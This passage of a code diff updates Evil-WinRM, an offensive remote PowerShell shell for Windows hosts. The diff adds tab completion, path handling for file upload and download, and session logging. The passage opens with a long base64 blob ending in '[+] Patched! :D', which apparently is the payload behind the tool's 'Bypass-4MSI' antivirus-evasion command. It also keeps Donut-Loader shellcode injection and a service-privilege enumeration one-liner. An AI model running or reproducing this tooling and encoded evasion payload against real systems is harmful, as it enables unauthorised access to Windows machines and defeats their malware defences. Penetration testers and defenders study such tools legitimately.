CdEFBQ3ZQQThpTEJvbEliT2dtRFFBQXVRUWJRQUFyendQSWl3YUpTSERvRXcwQUFMa0VHMEFBalY0RUs4K0xmQ1FRQThpTEJsT0pTSFNOaDl3REFBQ0RaaEFBVUlsK0ZQOVhlSVhBZFJPTEM0MUdDRkNOaDR3RUFBQlFpeEZSLzFJWVgxNWJ3NHRVSkF5RjBuVUh1QU5BQUlEclgxT0xYQ1FNTThsV2kzUWtERmVMZmhTTGhJLzhBd0FBT3dTTGRRaEJnL2tFZGU3cktqUEppNFNQREFRQUFEc0VpM1VJUVlQNUJIWHU2eFF6eVl1RWo0d0VBQUE3Qkl0MURFR0QrUVIxN29reU04RHJDSU1pQUxnQ1FBQ0FYMTVid2d3QWkwUWtCR29BYWdCcS9ZdEFERkNMQ1A5Uk9EUEF3Z2dBaTB3a0JJUEkvL0FQd1VFUVNNSUVBSXRFSkFUL2RDUUlpMEFVLzFCTU04RENDQUNEN0JSVGkxd2tIRlZXVnpQL2phdElCd0FBZzdzTUJRQUFBWXZIaVh3a0VIUURpMjBBaTR1a0FBQUFpM1FrTElYSkQ0VEZBUUFBVm8yRExBUUFBRkNOZ3h3RUFBQlEvOUdGd0ErSWlRRUFBSXNXalg0RVY0MkRQQVFBQUZDTENvMUZCRkJTLzFFTWhjQVBpR0lCQUFDTEI0MVVKQlJTVUlzSS8xRW9oY0FQaUZ3QkFBQ0RmQ1FVQUhRYWl3K05SZ2hRallOY0JBQUFVSXNSallOTUJBQUFVRkgvVWlRei80WEFENGd6QVFBQWkwWUlVSXNJLzFFb2hjQVBpQVVCQUFDTmhRUUNBQUJRLzFOd2kxWUlpL2lOUmd4UWFnQ0xDbGRTaVVRa0tQOVJNRmVMOFA5VGRJWDJENGpYQUFBQWkxUWtHSXQwSkN5TEVvMUdFRkNOZzJ3RUFBQ0xDbEJTL3hHRndBK0l0UUFBQUlOa0pDQUFpNFVRR1FBQWlVUWtISTFFSkJ4UWFnRnFFZjlUV0l2NGhmOFBoSkFBQUFDTFZ3d3p3SXZJT1lVVUdRQUFjaTEzQ0RtRkVCa0FBSFlqTTl1S2hDa1lHUUFBaUFRS1FUdWRGQmtBQUhMdGR3ZzdqUkFaQUFCeTQ0dGNKQ2lMVGhDTlJoUlFWMUdMRWYrU3RBQUFBUGZZRzhBejBrQ0x5b2xFSkJDTFJ3dzVsUlFaQUFCeUozY0lPWlVRR1FBQWRoMklsQ2tZR1FBQWlCUUlRVHVWRkJrQUFITHRkd2c3alJBWkFBQnk0MWYvVTJTTFJDUVFYMTVkVzRQRUZNT0RKd0RwelA3Ly80ays2Y2YrLy84ei80MUdDRkNOZzF3RUFBQlFqWU5NQkFBQVVGZFgvNU9nQUFBQWhjQVBpYXYrLy8rSmZnZ3p3T3UrZyt4c1U0dGNKSFF6d0ZWV1Y0MThKRHd6N1NGc0pCU05zMGdIQUFDcnE2dXJNOEJtaVVRa0VFQTVnd3dGQUFCMEFvczJnejRDRDRWa0FRQUFpNFFraEFBQUFJdElGSTE0SEZkUml3SC9VRUNGd0ErSVFRRUFBSXNIalZRa0ZGSlFpd2ovVVVpRndBK0lUZ0lBQUkxRUpDUlFhZ0gvZENRYy8xTm9qVVFrSUZCcUFmOTBKQnovVTJ5TFJDUWdLMFFrSklQQUFRK0V2QUFBQUdvQmFnQnFEUDlUWEl2b004azVqZ1FJQUFDNENDQUFBR2FKUkNRc2RGai90Z1FJQUFCUmFnai9VMXlKUkNRME04Q0poQ1NBQUFBQU9ZWUVDQUFBZG1QQjRBa0ZDQWdBQUFQR1VQOVRjRkNOaENTRUFBQUFVUDkwSkR6L1UyQ0xoQ1NBQUFBQVFJbUVKSUFBQUFBN2hnUUlBQUJ5eStzc2FnRlJhZ2ovVTF5RHBDU0FBQUFBQUlsRUpEU05SQ1FRVVA5VGNGQ05oQ1NFQUFBQVVQOTBKRHovVTJDRHBDU0FBQUFBQUkxRUpDeFFqWVFraEFBQUFGQlYvMU5nZzJRa1JBQ05WQ1JjVWpQQWpYUWtRRUJtaVVRa1FJc0hWWVBzRUl2OGl3aFFwYVdscGYrUmxBQUFBSVh0RDRReUFRQUEvM1FrTlA5VFpGWC9VMlRwSWdFQUFDRXY2UnNCQUFDTmhnUUVBQUJRLzFOd2kraUpiQ1FZaGUwUGhBWUJBQUNOaGdRR0FBQlEvMU53aVVRa0hJWEFENFRwQUFBQWk0d2toQUFBQUl0UkZJMUJHRkJWVW9zS2lVUWtOUDlSUkl2NGhmOFBpTDRBQUFDTGhnUUlBQUF6N1lYQWRHNVFWV29NLzFOY2kraUY3WFJoZzZRa2dBQUFBQUNEdmdRSUFBQUFkbEF6d01IZ0NRVUlDQUFBQThaUS8xTndhZ2lKUkNSWVdHYUpSQ1JNalVRa1RGQ05oQ1NFQUFBQVVGWC9VMkNMK0lYL2VRWlYvMU5rTSsyTGhDU0FBQUFBUUltRUpJQUFBQUE3aGdRSUFBQnlzb1gvZUR5TFJDUW9qVlFrYkZKVmcrd1FqWFFrVklzQWkveHFBSXNJcFdnWUFRQUFwYVdsaTNRa1BGWlEvNUhrQUFBQWhlMTBCRlgvVTJTTGJDUVk2d2lMYkNRWWkzUWtIRmIvVTNSVi8xTjBNOEJBWDE1ZFc0UEViTU9CN053QUFBQzRBUUFBU01kRUpDQXh3RWg1VTFXTHJDVG9BQUFBaVVRa1RJbEVKRlNKUkNSY2c3ME1CUUFBQVlsRUpHU0pSQ1JzaVlRa3FBQUFBSW1FSk1BQUFBQ0poQ1RJQUFBQWlZUWswQUFBQUltRUpOZ0FBQUNOaFVnSEFBQlh4MFFrTUJ1TFJDVEhSQ1EwQkl0TUpNZEVKRGdJaTFRa3gwUWtQQXhTZ2NMSFJDUkFBQUlBQU1kRUpFU0Q2UUYxeDBRa1NQVC8wTVBIUkNSTVNJSHNTTWRFSkZTSnJDUXd4MFFrWEltY0pEakhSQ1JraWJ3a0lNZEVKR3lKdENRb3gwUWtkSW5tU0luSFJDUjR6N2dBQXNkRUpId0FBRXlKeDRRa2dBQUFBTUZJalJUSGhDU0VBQUFBQVV5TkJNZUVKSWdBQUFBQ1RZME14NFFrakFBQUFBQkpqUnpIaENTUUFBQUFBVWlKbk1lRUpKUUFBQUFrQUFFQXg0UWttQUFBQUFCSUFjUEhoQ1NjQUFBQVNJbWNKTWVFSktBQUFBQUlBUUFBeDRRa3BBQUFBRWdCdzBqSGhDU29BQUFBaVp3a0VNZUVKTEFBQUFBQncwaUp4NFFrdEFBQUFKd2tHQUhIaENTNEFBQUFBQUQvMThlRUpMd0FBQUJJaWZSSXg0UWt3QUFBQUl1MEpDakhoQ1RJQUFBQWk3d2tJTWVFSk5BQUFBQ0xuQ1E0eDRRazJBQUFBSXVzSkRESGhDVGdBQUFBZ2NSSUFjZUVKT1FBQUFBQUFNTUFpVVFrRkhRR2l3Q0pSQ1FVaTdoVUdRQUFCUmdaQUFBRCtJbEVKQkF6MjRsOEpCaFQvMVU0Wm90UEJJbEVKQ2lMVUR4bU8wd0NCQStGZ0FJQUFGWnFRTGdBTUFBQXVRQVFBQUJRaVVRa0tJdEhVQVBCVUZQL1ZUeUw4SVgyRDRSWkFnQUFEN2RmRkRQQWcyUWtFQUNEd3l4bU8wY0djemVMYkNRVUE5Ly9jL3lMQXdQRlVJdEQrQVBHVU9paEJ3QUFpMHdrSEkxYktBKzNSd2FEeEF4QmlVd2tFRHZJY3RhTHJDVHdBQUFBaTUrQUFBQUFBOTZKWENRVWkwTU1oY0IwYUFQR1VQOVZNSXRURUlsRUpDZ0Qxb3NEQThhSlZDUWtpVVFrRUlzSWhjbDBOWXRjSkNpTCtvdFZOSVhKZVFVUHQ4SHJCWTFHQWdQQlVGUC8wb2tIZzhjRWkwUWtFSVBBQklsRUpCQ0xDSVhKZGRXTFhDUVVpME1nZzhNVWlWd2tGSVhBZFp5TGZDUWNpNStnQUFBQWk4WXJSelFEM2pQSmlVUWtIRGtMZEdTTlN3anJTUSszQVl2UUpRRHdBQUNKVkNRUVpqdEVKQ0IxSTR2Q0pmOFBBQUNKUkNRUUF3T0xEREFEVENRY2kwUWtFQU1EaVF3d2kwd2tGT3NPdUFBUUFBQm1POUFQZ3lVQkFBQ0R3UUtMUXdRRHc0bE1KQlE3eUhXcWd6a0FpOWwxbmpQSmkxd2tHSU03QXcrRitBQUFBSTJUQkFZQUFHWTVDZytFMlFBQUFJdFBlSVhKRDRUbEFBQUFpM3d4R0lYL0Q0VFpBQUFBaTBReEhBUEdpVVFrSEl0RU1TQ0xUREVrQThZRHpvbE1KQ0NOQkxpRHdQeUpSQ1FZaXdCU0E4WlE2TmdEQUFCWldZWEFkQnlMUkNRWWcrZ0VpVVFrR0lQdkFRK0VrQUFBQUkyVEJBWUFBT3ZUaTBRa0lJdE1KQndQdDBSNC9vc0VnUVBHaVVRa0lIUndha0M0QURBQUFGQm92QUFBQURQQVVQOVZQSXY0aGY5MFYyaThBQUFBalVRa05GQlg2TWdGQUFDTmd3Z0lBQUJRLzdNRUNBQUEvM1FrTlAvWGFMd0FBQUF6MjFOWDZNc0ZBQUNEeENSb0FNQUFBRk5YLzFWQTZ4ZUxSeWhSYWdIL2RDUTBBOGIvME9zSGkwY29BOGIvMEdnQXdBQUFNOEJRVnY5VlFGNWZYVnVCeE53QUFBRERnZXpZQUFBQVU0dWNKT0FBQUFCVlZsZUR1d3dGQUFBQmpiTklCd0FBZEFLTE5vdURRQWNBQURQL2FnUm9BREFBQUkwRVJRSUFBQUJRVi85VFBJdm9oZTBQaEQ4QkFBQ0xqaEFaQUFBRHlWRlZhditOamhnWkFBQlJWMWYvVTFDTlJDUkVpVVFrR0kxRUpCaFFVK2hNNnYvL2pVUWtlSWxFSkN5TlJDUXNVRlBvL3ZMLy80UEVFSWw4SkNCWFYvK1RxQUFBQUlYQUQ0WElBQUFBalVRa0VGQ05nNXdFQUFCUWFnTlhqWU44QkFBQVVQK1RyQUFBQUlYQUQ0V2tBQUFBaTB3a0VJMUVKQlJRallPOEJBQUFVSXNSVWY4U2hjQjFkNHRFSkJSUWl3ai9VUXlGd0hWZmkwd2tFSTFVSkJpSlRDUXdVbEdMQWY5UURJWEFkVWlOZzh3REFBQlEvMU53aTB3a0VJdjRhZ0pYVVlzUi8xSWdWNHZ3LzFOME0vK0Y5blVqaTBRa0ZGZFhWNHNJVjFkWFYxZFZVUDlSRklYQWRReUxSQ1FRYWdKUWl3ai9VUlNMUkNRVVVJc0kvMUVJaTBRa0VGQ0xDUDlSSEl0RUpCQlFpd2ovVVFpTGcwQUhBQUNOQkVVQ0FBQUFVRmRWNkJVRUFBQ0R4QXhvQU1BQUFGZFYvMU5BWDE1ZFc0SEUyQUFBQU1PRDdBeFRWVmFMZENRY1Y0TytEQVVBQUFHTnZrZ0hBQUIwQW9zL2k0WkFCd0FBTSsxcUJHZ0FNQUFBalFSRkFnQUFBRkJWLzFZOGk5aUYydytFMFFBQUFJdVBFQmtBQUFQSlVWTnEvNDJQR0JrQUFGRlZWZjlXVUZWVi81YW9BQUFBaGNBUGhZY0FBQUNOUkNRUVVJMkc3QVFBQUZCcUFWV05odHdFQUFCUS81YXNBQUFBaGNCMVlZdEVKQkNOVkNRZ1VsTlFpd2ova1FRQkFBQ0Z3SFZBWmpsc0pDQjBPWXRNSkJDTlJDUVVVSTJHL0FRQUFGQ0xFVkgvRW9YQWRTQ0xSQ1FRalZRa0dGTC9kQ1FZaXdoUS81R01BQUFBaTBRa0ZGQ0xDUDlSQ0l0RUpCQlFpd2ovVVFqL2xyQUFBQUNMaGtBSEFBQ05CRVVDQUFBQVVGVlQ2UGdDQUFDRHhBeG9BTUFBQUZWVC8xWkFYMTVkVzRQRURNT0xSQ1FNeHdBQkFBQUFNOERDRUFDTFJDUUVLMFFrQ01PTFJDUUVtZmQ4SkFqRDZBQUFBQUJZZytnRncxV0w3R1NoTUFBQUFEUEpWb3RBREl0d0RPc2doY2wxSS85MUdQOTFGUDkxRVA5MURGRC9kUWpvak8zLy80czJnOFFZaThpTFJoaUZ3SFhaaThGZVhjT0xSQ1FJVm90MEpBaUtGb1RTZEJTS3lpdndpdEU2Q0hVS1FJb01Cb3JSaE1sMThBKzJDQSsyd2l2QlhzT0Q3QlJUaTF3a0lEUEFWWXRzSkNoV1Z6UC9pVVFrTERQMmlYUWtFSXRNSkNpS0RBaUV5WFFSZy9oQWRBeUlURHdVUjBDSlJDUXM2MWRxRUZncng0MTBKQlJRQS9kcUFGYm8vUUVBQUlQRURNWUdnSVAvREhJaFZZMUVKQmhUVU9oZUFBQUFhaEF6MkRQcWpVUWtKR29BVU9qVUFRQUFnOFFZaTBRa0xJdDBKQkRCNEFOR2FoQ0pSQ1FrWDRsMEpCQ0QveEIxRlZXTlJDUVlVMURvSVFBQUFJUEVERFBZTStvei80dEVKQ3lGOWcrRVovLy8vMTllaTlXTHcxMWJnOFFVdzRQc0VJdEVKQmlMVkNRY1UxVldpM1FrSURQYlY0MThKQkNscGFXbGkwd2tGSXQwSkJ5TGJDUVlpM3drRUlsTUpDaUx6c0hJQ0l0MEpDZ0R3c0hPQ0RQSEEvZkJ3Z016ODhISEF6UFFpV3drS0RQK2krbERnL3NiY3RaZlhsMWJnOFFRdzR0VUpCQ0Q3QlJUaTF3a0pJWFNENFRvQUFBQWkwUWtJRlV6N1VWV2pVZ1BLK2hYaVV3a0VJbHNKRFNMOEkxOEpCUXp5YVdscGFXTGRDUW9pd1NPTVVTTUZFR0QrUVJ5ODR0MEpDQ0xSQ1FjaTN3a0dJdE1KQlRIUkNRd0VBQUFBQVBQQThiQnh3VXorY0hHQ0RQd3djRVFBOGNEenNISEI4SEdEVFA0TS9IQndCQ0RiQ1F3QVhYWGkyd2tLSWxNSkJRenlZbDBKQ0NKZkNRWWlVUWtISXRFalFBeFJJd1VRWVA1QkhMeWkyd2tOSXZLYWhCWU85QVBSOGlGeVg0WmpYd2tGSXZ6Sy91TDZZb0VOekFHUm9QdEFYWDFpMndrTkN2UkE5bUxUQ1FRZ0FFQmRRaEpqUVFwaGNCLzg0dEVKQ3lGMGcrRk12Ly8vMTllWFZ1RHhCVERpMVFrREl0RUpBUldpL0NGMG5RVFY0dDhKQkFyK0lvTU40Z09Sb1BxQVhYMVgxN0Rpa1FrQ0l0TUpBeFhpM3drQ1BPcWkwUWtDRi9EQUFBQUFBQUFBQUFBQUFBQUFBQT0iCiJbK10gUGF0Y2hlZCEgOkQiCn0KfQoK") - completion = - proc do |str| - case - when Readline.line_buffer =~ /help.*/i - puts("#{$LIST.join("\t")}") - when Readline.line_buffer =~ /\[.*/i - $LISTASSEM.grep( /^#{Regexp.escape(str)}/i ) unless str.nil? - when Readline.line_buffer =~ /Invoke-Binary.*/i - executables.grep( /^#{Regexp.escape(str)}/i ) unless str.nil? - when Readline.line_buffer =~ /donutfile.*/i - paths = self.paths(str) - paths.grep( /^#{Regexp.escape(str)}/i ) unless str.nil? - when Readline.line_buffer =~ /Donut-Loader -process_id.*/i - $DONUTPARAM2.grep( /^#{Regexp.escape(str)}/i ) unless str.nil? - when Readline.line_buffer =~ /Donut-Loader.*/i - $DONUTPARAM1.grep( /^#{Regexp.escape(str)}/i ) unless str.nil? - when Readline.line_buffer =~ /upload.*/i - paths = self.paths(str) - paths.grep( /^#{Regexp.escape(str)}/i ) unless str.nil? - else - $LIST.grep( /^#{Regexp.escape(str)}/i ) unless str.nil? - end - end - - Readline.completion_proc = completion - Readline.completion_append_character = '' command = "" @@ -453,66 +526,116 @@ def main self.print_message("Establishing connection to remote endpoint", TYPE_INFO) $conn.shell(:powershell) do |shell| begin + completion = + proc do |str| + case + when Readline.line_buffer =~ /help.*/i + puts("#{$LIST.join("\t")}") + when Readline.line_buffer =~ /Invoke-Binary.*/i + result = @executables.grep( /^#{Regexp.escape(str)}/i ) || [] + if result.empty? then + paths = self.paths(str) + result.concat(paths.grep( /^#{Regexp.escape(str)}/i )) + end + result.uniq + when Readline.line_buffer =~ /donutfile.*/i + paths = self.paths(str) + paths.grep( /^#{Regexp.escape(str)}/i ) + when Readline.line_buffer =~ /Donut-Loader -process_id.*/i + $DONUTPARAM2.grep( /^#{Regexp.escape(str)}/i ) unless str.nil? + when Readline.line_buffer =~ /Donut-Loader.*/i + $DONUTPARAM1.grep( /^#{Regexp.escape(str)}/i ) unless str.nil? + when Readline.line_buffer =~ /^upload.*/i + test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#') + if test_s.count(' ') < 2 then + self.paths(str) || [] + else + self.complete_path(str, shell) || [] + end + when Readline.line_buffer =~ /^download.*/i + test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#') + if test_s.count(' ') < 2 then + self.complete_path(str, shell) || [] + else + paths = self.paths(str) + end + when (Readline.line_buffer.empty? || !(Readline.line_buffer.include?(' ') || Readline.line_buffer =~ /^\"?(\.\/|\.\.\/|[a-z,A-Z]\:\/|\~\/|\/)/)) + result = $COMMANDS.grep( /^#{Regexp.escape(str)}/i ) || [] + result.concat(@functions.grep(/^#{Regexp.escape(str)}/i)) + result.uniq + else + result = Array.new + result.concat(self.complete_path(str, shell) || []) + result + end + end + + Readline.completion_proc = completion + Readline.completion_append_character = '' + Readline.completion_case_fold = true + Readline.completer_quote_characters = "\"" + until command == "exit" do pwd = shell.run("(get-location).path").output.strip + if $colors_enabled then command = Readline.readline(self.colorize("*Evil-WinRM*", "red") + self.colorize(" PS ", "yellow") + pwd + "> ", true) else command = Readline.readline("*Evil-WinRM* PS " + pwd + "> ", true) end + if !$logger.nil? + $logger.info("*Evil-WinRM* PS #{pwd} > #{command}") + end if command.start_with?('upload') then if self.docker_detection() then puts() - self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING) + self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING, true, $logger) end - upload_command = command.tokenize - command = "" - - if upload_command[2].to_s.empty? then - upload_command[2] = "#{pwd}\\#{upload_command[1].split('/')[-1]}" - elsif not upload_command[2].index ':\\' - upload_command[2] = "#{pwd}\\#{upload_command[2]}" - end begin - self.print_message("Uploading #{upload_command[1]} to #{upload_command[2]}", TYPE_INFO) - file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes| - progress_bar(bytes_copied, total_bytes) + paths = self.get_upload_paths(command, pwd) + right_path = paths.pop + left_path = paths.pop + + self.print_message("Uploading #{left_path} to #{right_path}", TYPE_INFO, true, $logger) + file_manager.upload(left_path, right_path) do |bytes_copied, total_bytes| + self.progress_bar(bytes_copied, total_bytes) if bytes_copied == total_bytes then puts(" ") - self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA) - self.print_message("Upload successful!", TYPE_INFO) + self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA, true, $logger) + self.print_message("Upload successful!", TYPE_INFO, true, $logger) end end - rescue - self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR) + rescue StandardError => err + self.print_message("Error: #{err.to_s}: #{err.backtrace}", TYPE_ERROR, true, $logger) + self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR, true, $logger) + ensure + command = "" end elsif command.start_with?('download') then if self.docker_detection() then puts() - self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING) + self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING, true, $logger) end - download_command = command.tokenize - command = "" - - if not download_command[1].index ':\\' then download_command[1] = "#{pwd}\\#{download_command[1]}" end - - if download_command[2].to_s.empty? then download_command[2] = download_command[1].split('\\')[-1] end - begin - self.print_message("Downloading #{download_command[1]} to #{download_command[2]}", TYPE_INFO) - size = self.filesize(shell, download_command[1]) - file_manager.download(download_command[1], download_command[2], size: size) do | index, size | - progress_bar(index, size) + paths = self.get_download_paths(command, pwd) + right_path = paths.pop + left_path = paths.pop + + self.print_message("Downloading #{left_path} to #{right_path}", TYPE_INFO, true, $logger) + size = self.filesize(shell, left_path) + file_manager.download(left_path, right_path, size: size) do | index, size | + self.progress_bar(index, size) end puts(" ") - self.print_message("Download successful!", TYPE_INFO) - rescue - self.print_message("Download failed. Check filenames or paths", TYPE_ERROR) + self.print_message("Download successful!", TYPE_INFO, true, $logger) + rescue StandardError => err + self.print_message("Download failed. Check filenames or paths", TYPE_ERROR, true, $logger) + ensure + command = "" end - elsif command.start_with?('Invoke-Binary') then begin invoke_Binary = command.tokenize @@ -529,9 +652,8 @@ def main elsif output = shell.run("Invoke-Binary") end - print(output.output) - rescue - self.print_message("Check filenames", TYPE_ERROR) + rescue StandardError => err + self.print_message("Check filenames", TYPE_ERROR, true, $logger) end elsif command.start_with?('Donut-Loader') then @@ -548,16 +670,21 @@ def main output = shell.run("Donut-Loader") end print(output.output) + if !$logger.nil? + $logger.info(output.output) + end rescue - self.print_message("Check filenames", TYPE_ERROR) + self.print_message("Check filenames", TYPE_ERROR, true, $logger) end elsif command.start_with?('services') then command = "" output = shell.run('$servicios = Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath ; foreach ($servicio in $servicios ) {Get-Service $servicio.PSChildName -ErrorAction SilentlyContinue | Out-Null ; if ($? -eq $true) {$privs = $true} else {$privs = $false} ; $Servicios_object = New-Object psobject -Property @{"Service" = $servicio.pschildname ; "Path" = $servicio.imagepath ; "Privileges" = $privs} ; $Servicios_object }') print(output.output.chomp) - - elsif command.start_with?(*functions) then + if !$logger.nil? + $logger.info(output.output.chomp) + end + elsif command.start_with?(*@functions) then self.silent_warnings do load_script = $scripts_path + command command = "" @@ -587,29 +714,40 @@ def main end $LIST2 = autocomplete.split("\n") $LIST = $LIST + $LIST2 + $COMMANDS = $COMMANDS + $LIST2 + $COMMANDS = $COMMANDS.uniq print(output.output) + if !$logger.nil? + $logger.info(output.output) + end end elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20) puts() - self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING) + self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING, true, $logger) sleep(9) end - output = shell.run(command) do |stdout, stderr| stdout&.each_line do |line| STDOUT.puts(line.rstrip!) end STDERR.print(stderr) end + if !$logger.nil? && !command.empty? + output_logger="" + output.output.each_line do |line| + output_logger += "#{line.rstrip!}\n" + end + $logger.info(output_logger) + end end rescue Errno::EACCES => ex puts() - self.print_message("An error of type #{ex.class} happened, message is #{ex.message}", TYPE_ERROR) + self.print_message("An error of type #{ex.class} happened, message is #{ex.message}", TYPE_ERROR, true, $logger) retry rescue Interrupt puts("\n\n") - self.print_message("Press \"y\" to exit, press any other key to continue", TYPE_WARNING) + self.print_message("Press \"y\" to exit, press any other key to continue", TYPE_WARNING, true, $logger) if STDIN.getch.downcase == "y" self.custom_exit(130) else @@ -620,13 +758,137 @@ def main end rescue SystemExit rescue SocketError - self.print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR) + self.print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR, true, $logger) self.custom_exit(1) rescue Exception => ex - self.print_message("An error of type #{ex.class} happened, message is #{ex.message}", TYPE_ERROR) + self.print_message("An error of type #{ex.class} happened, message is #{ex.message}", TYPE_ERROR, true, $logger) self.custom_exit(1) end end + + def extract_filename(path) + path.split('/')[-1] + end + + def extract_next_quoted_path(cmd_with_quoted_path) + begin_i = cmd_with_quoted_path.index("\"") + l_total = cmd_with_quoted_path.length() + next_i = cmd_with_quoted_path[begin_i +1, l_total - begin_i].index("\"") + result = cmd_with_quoted_path[begin_i +1, next_i] + result + end + + def get_upload_paths(upload_command, pwd) + quotes = upload_command.count("\"") + result = [] + if quotes == 0 || quotes % 2 != 0 then + result = upload_command.split(' ') + result.delete_at(0) + else + quoted_path = self.extract_next_quoted_path(upload_command) + upload_command = upload_command.gsub("\"#{quoted_path}\"", '') + result = upload_command.split(' ') + result.delete_at(0) + result.push(quoted_path) unless quoted_path.nil? || quoted_path.empty? + end + result.push("#{pwd}\\#{self.extract_filename(result[0])}") if result.length == 1 + result + end + + def get_download_paths(download_command, pwd) + quotes = download_command.count("\"") + result = [] + if quotes == 0 || quotes % 2 != 0 then + result = download_command.split(' ') + result.delete_at(0) + else + quoted_path = self.extract_next_quoted_path(download_command) + download_command = download_command.gsub("\"#{quoted_path}\"", '') + result.push(quoted_path) + rest = download_command.split(' ') + unless rest.nil? || rest.empty? + rest.delete_at(0) + result.push(rest[0]) if rest.length == 1 + end + end + + result.push("./#{self.extract_filename(result[0])}") if result.length == 1 + result + end + + def get_from_cache(n_path) + unless n_path.nil? || n_path.empty? then + a_path = self.normalize_path(n_path) + current_time = Time.now.to_i + current_vals = @directories[a_path] + result = Array.new + unless current_vals.nil? then + is_valid = current_vals['time'] > current_time - @cache_ttl + result = current_vals['files'] if is_valid + @directories.delete(a_path) unless is_valid + end + + return result + end + end + + def set_cache(n_path, paths) + unless n_path.nil? || n_path.empty? then + a_path = self.normalize_path(n_path) + current_time = Time.now.to_i + @directories[a_path] = { 'time' => current_time, 'files' => paths } + end + end + + def normalize_path(str) + p_str = str || "" + p_str = str.gsub('\\', '/') + p_str = Regexp.escape(str) + p_str + end + + def get_dir_parts(n_path) + return [n_path, "" ] if !!(n_path[-1] =~ /\/$/) + i_last = n_path.rindex('/') + if i_last.nil? + return ["./", n_path] + end + + next_i = i_last + 1 + amount = n_path.length() - next_i + + return [n_path[0, i_last + 1], n_path[next_i, amount]] + end + + def complete_path(str, shell) + if @completion_enabled then + if !str.empty? && !!(str =~ /^(\.\/|[a-z,A-Z]\:|\.\.\/|\~\/|\/)*/i) then + n_path = str + parts = self.get_dir_parts(n_path) + dir_p = parts[0] + nam_p = parts[1] + result = [] + result = self.get_from_cache(dir_p) unless dir_p =~ /^(\.\/|\.\.\/|\~|\/)/ + + if result.nil? || result.empty? then + target_dir = dir_p + pscmd = "$a=@();$(ls '#{target_dir}*' -ErrorAction SilentlyContinue -Force |Foreach-Object { if((Get-Item $_.FullName -ErrorAction SilentlyContinue) -is [System.IO.DirectoryInfo] ){ $a += \"$($_.FullName.Replace('\\','/'))/\"}else{ $a += \"$($_.FullName.Replace('\\', '/'))\" } });$a += \"$($(Resolve-Path -Path '#{target_dir}').Path.Replace('\\','/'))\";$a" + + output = shell.run(pscmd).output + s = output.to_s.gsub(/\r/, '').split(/\n/) + + dir_p = s.pop + self.set_cache(dir_p, s) + result = s + end + dir_p = dir_p + "/" unless dir_p[-1] == "/" + path_grep = self.normalize_path(dir_p + nam_p) + path_grep = path_grep.chop() if !path_grep.empty? && path_grep[0] == "\"" + filtered = result.grep(/^#{path_grep}/i) + return filtered.collect{ |x| "\"#{x}\"" } + end + end + end end # Class to create array (tokenize) from a string